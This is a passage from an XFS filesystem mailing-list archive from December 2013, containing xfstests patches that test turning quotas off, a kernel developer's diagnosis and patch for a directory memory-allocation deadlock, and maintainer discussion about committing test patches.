A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/quota + +# Modify as appropriate. +_supported_fs xfs +_supported_os Linux + +_require_scratch +_require_xfs_quota +_require_xfs_mkfs_crc +_require_xfs_crc + +_scratch_mkfs_xfs -m crc=1 >/dev/null 2>&1 + +_qmount_option "uquota,gquota,pquota" +_qmount + +QUOTA_DIR=$SCRATCH_MNT/quota_dir + +mkdir -p $QUOTA_DIR +echo "*** turn off group quotas" +xfs_quota -x -c 'off -g' $SCRATCH_MNT +rmdir $QUOTA_DIR +echo "*** umount" +umount $SCRATCH_MNT + +_qmount +mkdir -p $QUOTA_DIR +echo "*** turn off project quotas" +xfs_quota -x -c 'off -p' $SCRATCH_MNT +rmdir $QUOTA_DIR +echo "*** umount" +umount $SCRATCH_MNT + +_qmount +mkdir -p $QUOTA_DIR +echo "*** turn off group/project quotas" +xfs_quota -x -c 'off -gp' $SCRATCH_MNT +rmdir $QUOTA_DIR +echo "*** umount" +umount $SCRATCH_MNT + +# success, all done +status=0 +exit diff --git a/tests/xfs/304.out b/tests/xfs/304.out new file mode 100644 index 0000000..09ab851 --- /dev/null +++ b/tests/xfs/304.out @@ -0,0 +1,7 @@ +QA output created by 304 +*** turn off group quotas +*** umount +*** turn off project quotas +*** umount +*** turn off group/project quotas +*** umount diff --git a/tests/xfs/group b/tests/xfs/group index 7a16c25..7798d62 100644 --- a/tests/xfs/group +++ b/tests/xfs/group @@ -183,3 +183,4 @@ 301 auto dump 302 auto dump 303 auto quick quota +304 auto quick quota -- 1.8.3.2 From jeff.liu@oracle.com Tue Dec 3 06:00:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DF15829DF9 for ; Tue, 3 Dec 2013 06:00:19 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id CDCF9304071 for ; Tue, 3 Dec 2013 04:00:19 -0800 (PST) X-ASG-Debug-ID: 1386072018-04cbb041684bb5e0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id oHzE1tw5dBtOlJqO (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 03 Dec 2013 04:00:18 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rB3C0H3J000577 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 3 Dec 2013 12:00:18 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB3C0GZ8005958 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Dec 2013 12:00:17 GMT Received: from abhmp0020.oracle.com (abhmp0020.oracle.com [141.146.116.26]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB3C0GEC020678 for ; Tue, 3 Dec 2013 12:00:16 GMT Received: from [192.168.1.104] (/123.119.109.45) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 03 Dec 2013 04:00:16 -0800 Message-ID: <529DC7CC.7090804@oracle.com> Date: Tue, 03 Dec 2013 20:00:12 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH v2 4/4] xfstests: xfs/305, verify turn group/project quotas off along with fsstress Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH v2 4/4] xfstests: xfs/305, verify turn group/project quotas off along with fsstress Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1386072018 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142806 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Introduce xfs/305 to verify that we can turn group/project quotas off while user quotas is on and fsstress is running at the same time. Signed-off-by: Jie Liu --- tests/xfs/305 | 89 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/xfs/305.out | 7 +++++ tests/xfs/group | 1 + 3 files changed, 97 insertions(+) create mode 100755 tests/xfs/305 create mode 100644 tests/xfs/305.out diff --git a/tests/xfs/305 b/tests/xfs/305 new file mode 100755 index 0000000..d925b8b --- /dev/null +++ b/tests/xfs/305 @@ -0,0 +1,89 @@ +#! /bin/bash +# FS QA Test No. 305 +# +# Test to verify that turn group/project quotas off while fstress and +# user quotas are left on. +# +#----------------------------------------------------------------------- +# Copyright (c) 2013 Oracle, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/quota + +# Modify as appropriate. +_supported_fs xfs +_supported_os Linux + +_require_scratch +_require_xfs_quota +_require_xfs_mkfs_crc +_require_xfs_crc + +_scratch_mkfs_xfs -m crc=1 >/dev/null 2>&1 + +_qmount_option "uquota,gquota,pquota" + +QUOTA_DIR=$SCRATCH_MNT/quota_dir + +_exercise() +{ + type=$1 + + _qmount + mkdir -p $QUOTA_DIR + + $FSSTRESS_PROG -d $QUOTA_DIR -n 1000 -p 100 $FSSTRESS_AVOID >/dev/null 2>&1 & + sleep 10 + xfs_quota -x -c "off -$type" $SCRATCH_DEV + sleep 5 + killall -q $FSSTRESS_PROG + wait +} + +echo "*** turn off group quotas" +_exercise g +echo "*** done" + +echo "*** turn off project quotas" +_exercise p +echo "*** done" + +echo "*** turn off group/project quotas" +_exercise gp +echo "*** done" + +# success, all done +status=0 +exit diff --git a/tests/xfs/305.out b/tests/xfs/305.out new file mode 100644 index 0000000..df900b9 --- /dev/null +++ b/tests/xfs/305.out @@ -0,0 +1,7 @@ +QA output created by 305 +*** turn off group quotas +*** done +*** turn off project quotas +*** done +*** turn off group/project quotas +*** done diff --git a/tests/xfs/group b/tests/xfs/group index 7798d62..f6543ed 100644 --- a/tests/xfs/group +++ b/tests/xfs/group @@ -184,3 +184,4 @@ 302 auto dump 303 auto quick quota 304 auto quick quota +305 auto quota -- 1.8.3.2 From david@fromorbit.com Tue Dec 3 06:51:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DA3067F50 for ; Tue, 3 Dec 2013 06:51:07 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id C8FEF8F8035 for ; Tue, 3 Dec 2013 04:51:04 -0800 (PST) X-ASG-Debug-ID: 1386075061-04cbb041684beeb0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id Hec3XsbQjA4ivQ6G for ; Tue, 03 Dec 2013 04:51:01 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuwPANTSnVJ5LHyk/2dsb2JhbABAFAYWgnE4gnmhPwOPMYVOgRoXdIIlAQEEAR4JExwjBQsIAw4HAwklDwUlAyETh3sFDjbBLxaMcYE0QweEMwOYE4ExiRuHSIM9KIEsJA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 03 Dec 2013 23:20:59 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VnpRJ-0000y3-Uo; Tue, 03 Dec 2013 23:50:57 +1100 Date: Tue, 3 Dec 2013 23:50:57 +1100 From: Dave Chinner To: Emmanuel Lacour Cc: xfs@oss.sgi.com Subject: Re: XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) Message-ID: <20131203125057.GU10988@dastard> X-ASG-Orig-Subj: Re: XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) References: <20131128091322.GC5337@easter-eggs.com> <20131128100521.GO10988@dastard> <20131203095357.GC5405@easter-eggs.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131203095357.GC5405@easter-eggs.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386075061 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142807 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On Tue, Dec 03, 2013 at 10:53:58AM +0100, Emmanuel Lacour wrote: > On Thu, Nov 28, 2013 at 09:05:21PM +1100, Dave Chinner wrote: > > On Thu, Nov 28, 2013 at 10:13:22AM +0100, Emmanuel Lacour wrote: > > > > > > Dear XFS users, > > > > > > > > > I run a Ceph cluster using XFS on Debian wheezy servers and Linux 3.10 > > > (debian backports). I see the following line in our logs: > > > > > > XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) > > > > > > does this reveal a problem in my setup or may I ignore it? If it's a > > > problem, can someone give me any hint on solving this? > > > > It might be, but you need to provide more information for us to be > > able to make any intelligent comment on the message. Start here: > > > > http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F > > > > > The problem continue and crashed my ceph cluster again, so here is all > the informations said in the FAQ: > > http://people.easter-eggs.org/~manu/xfs.log OK, 32GB RAM, no obvious shortage, no dirty or writeback data. 2TB SATA drives, 32AGs, only unusual setting is 64k directory block size. Yup, there's your problem: [4583991.478469] ceph-osd D ffff88047fc93f40 0 22951 1 0x00000004 [4583991.478471] ffff88046d241140 0000000000000082 ffffffff81047e75 ffff88046f949800 [4583991.478475] 0000000000013f40 ffff88039eb0bfd8 ffff88039eb0bfd8 ffff88046d241140 [4583991.478479] 0000000000000000 00000001444d68bd ffff88046d241140 0000000000000005 [4583991.478483] Call Trace: [4583991.478487] [] ? internal_add_timer+0xd/0x28 [4583991.478491] [] ? schedule_timeout+0xeb/0x123 [4583991.478494] [] ? ftrace_raw_event_timer_class+0x9d/0x9d [4583991.478498] [] ? io_schedule_timeout+0x60/0x86 [4583991.478502] [] ? congestion_wait+0x70/0xdb [4583991.478505] [] ? abort_exclusive_wait+0x79/0x79 [4583991.478518] [] ? kmem_alloc+0x65/0x6f [xfs] [4583991.478535] [] ? xfs_dir2_block_to_sf+0x5b/0x1fb [xfs] [4583991.478550] [] ? xfs_dir2_block_sfsize+0x15b/0x16a [xfs] [4583991.478566] [] ? xfs_dir2_block_removename+0x1c7/0x208 [xfs] [4583991.478581] [] ? xfs_dir_removename+0xda/0x114 [xfs] [4583991.478594] [] ? xfs_rename+0x428/0x554 [xfs] [4583991.478606] [] ? xfs_vn_rename+0x5e/0x65 [xfs] [4583991.478610] [] ? vfs_rename+0x224/0x35f [4583991.478614] [] ? lookup_dcache+0x22/0x95 [4583991.478618] [] ? SYSC_renameat+0x1c8/0x257 [4583991.478622] [] ? __cache_free.isra.45+0x178/0x187 [4583991.478625] [] ? SyS_mkdirat+0x2e/0xce [4583991.478629] [] ? do_notify_resume+0x53/0x68 [4583991.478633] [] ? system_call_fastpath+0x16/0x1b It'll be stuck on this: hdr = kmem_alloc(mp->m_dirblksize, KM_SLEEP); which is trying to allocate a contiguous 64k buffer to copy the direct contents into before freeing the block and then formatting them into the inode. The failure will be caused by memory fragmentation, and the only way around it is to avoid the contiguous allocation of that size. Which, I think, is pretty easy to do. Yup, barely smoke tested patch below that demonstrates the fix. Beware - patch may eat babies and ask for more. Use it at your own risk! I'll post it for review once it's had some testing and I know it doesn't corrupt directories all over the place. > This may be related to a friend problem here: > > http://tracker.ceph.com/issues/6386 Doesn't look related, unless the OOM killer is being triggered somehow... Hmmmm - there's also a good chance the the transaction commit code has this same problem contiguous allocation problem given that it has to allocate enough space to log an entire directory buffer. Good guess - there's another thread stuck on exactly that: [4583991.476833] ceph-osd D ffff88047fc33f40 0 11072 1 0x00000004 [4583991.476836] ffff88038b32a040 0000000000000082 ffffffff81047e75 ffff88046f946040 [4583991.476840] 0000000000013f40 ffff88048ea11fd8 ffff88048ea11fd8 ffff88038b32a040 [4583991.476844] 0000000000000000 00000001444d68be ffff88038b32a040 0000000000000005 [4583991.476848] Call Trace: [4583991.476852] [] ? internal_add_timer+0xd/0x28 [4583991.476855] [] ? schedule_timeout+0xeb/0x123 [4583991.476859] [] ? ftrace_raw_event_timer_class+0x9d/0x9d [4583991.476862] [] ? io_schedule_timeout+0x60/0x86 [4583991.476867] [] ? congestion_wait+0x70/0xdb [4583991.476870] [] ? abort_exclusive_wait+0x79/0x79 [4583991.476883] [] ? kmem_alloc+0x65/0x6f [xfs] [4583991.476899] [] ? xfs_log_commit_cil+0xe8/0x3d1 [xfs] [4583991.476904] [] ? current_kernel_time+0x9/0x30 [4583991.476909] [] ? current_fs_time+0x27/0x2d [4583991.476925] [] ? xfs_trans_commit+0x62/0x1cf [xfs] [4583991.476939] [] ? xfs_create+0x41e/0x54f [xfs] [4583991.476943] [] ? lookup_fast+0x3d/0x215 [4583991.476954] [] ? xfs_lookup+0x88/0xee [xfs] [4583991.476966] [] ? xfs_vn_mknod+0xb7/0x162 [xfs] [4583991.476970] [] ? vfs_create+0x62/0x8b [4583991.476974] [] ? lookup_dcache+0x22/0x95 [4583991.476978] [] ? do_last+0x595/0xa16 [4583991.476982] [] ? path_openat+0xc4/0x335 [4583991.476985] [] ? do_filp_open+0x2a/0x6e [4583991.476989] [] ? __alloc_fd+0xd0/0xe1 [4583991.476993] [] ? do_sys_open+0x5c/0xe0 [4583991.476996] [] ? system_call_fastpath+0x16/0x1b That one isn't so easy to fix, unfortunately. Cheers, Dave. -- Dave Chinner david@fromorbit.com xfs: xfs_dir2_block_to_sf temp buffer allocation fails From: Dave Chinner If we are using a large directory block size, and memory becomes fragmented, we can get memory allocation failures trying to kmem_alloc(64k) for a temporary buffer. However, there is not need for a directory buffer sized allocation, as the end result ends up in the inode literal area. This is, at most, slightly less than 2k of space, and hence we don't need an allocation larger than that fora temporary buffer. Signed-off-by: Dave Chinner --- fs/xfs/xfs_dir2_sf.c | 58 ++++++++++++++++++++++++++++++---------------------- 1 file changed, 34 insertions(+), 24 deletions(-) diff --git a/fs/xfs/xfs_dir2_sf.c b/fs/xfs/xfs_dir2_sf.c index aafc6e4..3725fb1 100644 --- a/fs/xfs/xfs_dir2_sf.c +++ b/fs/xfs/xfs_dir2_sf.c @@ -170,6 +170,7 @@ xfs_dir2_block_to_sf( char *ptr; /* current data pointer */ xfs_dir2_sf_entry_t *sfep; /* shortform entry */ xfs_dir2_sf_hdr_t *sfp; /* shortform directory header */ + xfs_dir2_sf_hdr_t *dst; /* temporary data buffer */ trace_xfs_dir2_block_to_sf(args); @@ -177,35 +178,20 @@ xfs_dir2_block_to_sf( mp = dp->i_mount; /* - * Make a copy of the block data, so we can shrink the inode - * and add local data. + * allocate a temporary destination buffer the size of the inode + * to format the data into. Once we have formatted the data, we + * can free the block and copy the formatted data into the inode literal + * area. */ - hdr = kmem_alloc(mp->m_dirblksize, KM_SLEEP); - memcpy(hdr, bp->b_addr, mp->m_dirblksize); - logflags = XFS_ILOG_CORE; - if ((error = xfs_dir2_shrink_inode(args, mp->m_dirdatablk, bp))) { - ASSERT(error != ENOSPC); - goto out; - } + dst = kmem_alloc(mp->m_sb.sb_inodesize, KM_SLEEP); + hdr = bp->b_addr; /* - * The buffer is now unconditionally gone, whether - * xfs_dir2_shrink_inode worked or not. - * - * Convert the inode to local format. - */ - dp->i_df.if_flags &= ~XFS_IFEXTENTS; - dp->i_df.if_flags |= XFS_IFINLINE; - dp->i_d.di_format = XFS_DINODE_FMT_LOCAL; - ASSERT(dp->i_df.if_bytes == 0); - xfs_idata_realloc(dp, size, XFS_DATA_FORK); - logflags |= XFS_ILOG_DDATA; - /* * Copy the header into the newly allocate local space. */ - sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; + sfp = (xfs_dir2_sf_hdr_t *)dst; memcpy(sfp, sfhp, xfs_dir2_sf_hdr_size(sfhp->i8count)); - dp->i_d.di_size = size; + /* * Set up to loop over the block's entries. */ @@ -258,10 +244,34 @@ xfs_dir2_block_to_sf( ptr += dp->d_ops->data_entsize(dep->namelen); } ASSERT((char *)sfep - (char *)sfp == size); + + /* now we are done with the block, we can shrink the inode */ + logflags = XFS_ILOG_CORE; + error = xfs_dir2_shrink_inode(args, mp->m_dirdatablk, bp); + if (error) { + ASSERT(error != ENOSPC); + goto out; + } + + /* + * The buffer is now unconditionally gone, whether + * xfs_dir2_shrink_inode worked or not. + * + * Convert the inode to local format and copy the data in. + */ + dp->i_df.if_flags &= ~XFS_IFEXTENTS; + dp->i_df.if_flags |= XFS_IFINLINE; + dp->i_d.di_format = XFS_DINODE_FMT_LOCAL; + ASSERT(dp->i_df.if_bytes == 0); + xfs_idata_realloc(dp, size, XFS_DATA_FORK); + + logflags |= XFS_ILOG_DDATA; + memcpy(dp->i_df.if_u1.if_data, dst, size); + dp->i_d.di_size = size; xfs_dir2_sf_check(args); out: xfs_trans_log_inode(args->trans, dp, logflags); - kmem_free(hdr); + kmem_free(dst); return error; } From rjohnston@sgi.com Tue Dec 3 07:35:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9DD8E7F50 for ; Tue, 3 Dec 2013 07:35:46 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8C7CC30407E for ; Tue, 3 Dec 2013 05:35:43 -0800 (PST) Received: from [134.15.129.202] (134.15.129.202) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Tue, 3 Dec 2013 07:35:42 -0600 Message-ID: <529DDE2D.3000501@sgi.com> Date: Tue, 3 Dec 2013 07:35:41 -0600 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: Subject: Re: [PATCH] xfstests: stop special casing nfs and udf References: <20131107204635.GA22954@infradead.org> <20131122091553.GA32568@infradead.org> <20131202174045.GA21861@infradead.org> <20131202232549.GV8803@dastard> <20131202233629.GM1935@sgi.com> <20131203042936.GY8803@dastard> In-Reply-To: <20131203042936.GY8803@dastard> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [134.15.129.202] On 12/02/2013 10:29 PM, Dave Chinner wrote: > On Mon, Dec 02, 2013 at 05:36:30PM -0600, Ben Myers wrote: >> On Tue, Dec 03, 2013 at 10:25:49AM +1100, Dave Chinner wrote: >>> On Mon, Dec 02, 2013 at 09:40:45AM -0800, Christoph Hellwig wrote: >>>> On Fri, Nov 22, 2013 at 01:15:53AM -0800, Christoph Hellwig wrote: >>>>> ping? >>>> >>>> ping^2? >>> >>> I just got write access to the XFS git repos on oss.sgi.com, so I'll >>> start hoovering up all the outstanding xfstests patches as a >>> shakedown pass before I touch anything else... >> >> You might want to chat with Rich. There may be some already in progress. > > I've already pushed the ones I found last week on the list. > Thanks for doing this. > FYI, I've been waiting for repo write perms to be able to push them > since wednesday last week. Rich hasn't said anything on the mailing > list or on IRC in that time, so I can only conclude that he's off > doing something else. > > Handling xfstests patches in a manner necessary for upstream commit > is something I've already integrated into my day-to-day workflow. As > such, I'm able to push reviewed patches at almost any time (within > reason - next day is best for everyone) at almost zero cost to me. > That cost will go down as I script and optimise my workflow. > > If other developers don't want me to do this, let them speak up. > > However, as a maintainer, I'm not happy with leaving reviewed > patches on the list for weeks before commiting them. As a developer, > there is nothing more frsutrating that having to continually remind > the maintainer that they need to commit a patch. > > Hence if a developer sends a ping to remind the maintainers about a > reviewed patch that has been sitting around, then I'm going to do > something about it straight away... My apologies to Christoph. I missed that I thought he was waiting for a review, not a commit from me. > > Cheers, > > Dave. > From rjohnston@sgi.com Tue Dec 3 07:36:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 84E0A7F54 for ; Tue, 3 Dec 2013 07:36:11 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6F631304075 for ; Tue, 3 Dec 2013 05:36:11 -0800 (PST) Received: from [134.15.129.202] (134.15.129.202) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Tue, 3 Dec 2013 07:36:10 -0600 Message-ID: <529DDE48.4010007@sgi.com> Date: Tue, 3 Dec 2013 07:36:08 -0600 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: Subject: Re: [ANNOUNCE] xfstests: tree updated to 0a7f216b References: <20131203050807.GZ8803@dastard> In-Reply-To: <20131203050807.GZ8803@dastard> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [134.15.129.202] On 12/02/2013 11:08 PM, Dave Chinner wrote: > Hi folks, > > I've just committed some outstanding patches to the xfstests > repository. The commits are listed below for your information, > with the current head being: > > 0a7f216b7962fd15e0fd749110776ca69b718932 generic: add a rename fsync test > > Some book-keeping stuff follows. > > Firstly, I'm going to look into adding commit hooks into the > xfstests repository to get it send automated commit message emails > when the repo is updated like is done for the main xfs kernel > repository. That will save having to walk through every patch > replying to say "applied". > > I'd like to start by getting those emails sent to the XFS, btrfs and > ext4 mailing lists, but I'm open to having them sent elsewhere, too. > I'm open to ideas about whether this is too many lists or > whether there are other lists we should send such email to. > > Secondly, you might note that I rewrote the subject lines of the > commits below. The main reason for doing this is to make the git log > readable and to give an idea of what was changed in the commit. So, > some new conventions I'd like to see people try to use for their > xfstests patch descriptions. > > 1. the first word describes the tests/ subdirectory the > change belongs to. e.g. xfs, btrfs, generic, shared, etc > > 2. if it's an infrastructure change or touches multiple > different sets of tests, then use "xfstests" as the keyword > > 3. Don't use test numbers in commit messages or subject > lines for new tests. We typically have to renumber tests > as part of the commit process, so if we forget to modify > the commit message then it looks rather strange.... > > 4. when fixing a specific test, always refer to it as > "/", such as generic/273 or btrfs/022. > This is needed because we can have duplicate test names > in different sub directories. > > Hence a typical set of subjects might be: > > xfs: fix fubaroo in xfs/299 > generic: use correct frobnozzle on generic/230 > xfstests: prevent bozo errors when compiling ltp/iogen.c > > This makes life easier when browsing the commit history. I'll be > modifying subject lines as I process them to follow these > conventions, so if people adopt them it makes it better for > everyone. > > Lastly, I'm going to try to keep the commit latency of reviewed > xfstests patches to around 24-48 hours after the patch has been > reviewed. I don't want reviewed patches to sit around for weeks > before they are committed, so please ping the patch if it's been > reviewed and not committed after a couple of days. > > Thanks all, > > Dave. > > ---- > > Anand Jain (1): > * [ed14876] btrfs: test if raids are actually created > > Brian Foster (1): > * [0746f7b] generic: use correct size value in generic/273 > > Christoph Hellwig (1): > * [c041421] xfstests: stop special casing nfs and udf > > Jie Liu (1): > * [5bcbff9] xfs: verify xfs_quota commands against invalid mount path > > Josef Bacik (3): > * [cb5dd61] btrfs: add basic qgroup testing > * [640d1e1] generic: add new test for fsync() on directories > * [0a7f216] generic: add a rename fsync test > > Miao Xie (1): > * [bd50b75] btrfs: add wrong compression type regression test > Hey Dave, I should have mentioned to the list as that I was going to be out last week (as Ben did). I was catching up on my normal work and had planned on committing the above commits this morning. Thanks for doing this. --Rich From rjohnston@sgi.com Tue Dec 3 08:42:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0019B7F50 for ; Tue, 3 Dec 2013 08:42:36 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay3.corp.sgi.com (Postfix) with ESMTP id 11B84AC002; Tue, 3 Dec 2013 06:42:32 -0800 (PST) Received: from [134.15.129.202] (134.15.129.202) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Tue, 3 Dec 2013 08:42:31 -0600 Message-ID: <529DEDD5.8090509@sgi.com> Date: Tue, 3 Dec 2013 08:42:29 -0600 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: Eric Sandeen , Eric Sandeen , xfs-oss Subject: Re: [PATCH V2] xfsprogs: suggest "-d" option for repair of RO mount References: <528261AD.50501@redhat.com> <528A39FD.5090109@sandeen.net> In-Reply-To: <528A39FD.5090109@sandeen.net> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [134.15.129.202] This has been committed. Thanks --Rich commit 03091fc253963891c728cf362c0f9700294b6dfd Author: Eric Sandeen Date: Mon Nov 18 16:02:05 2013 +0000 xfsprogs: suggest "-d" option for repair of RO mount From leo.rive@bestmeser.com Tue Dec 3 09:00:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_REMOTE_IMAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6080B7F50 for ; Tue, 3 Dec 2013 09:00:49 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 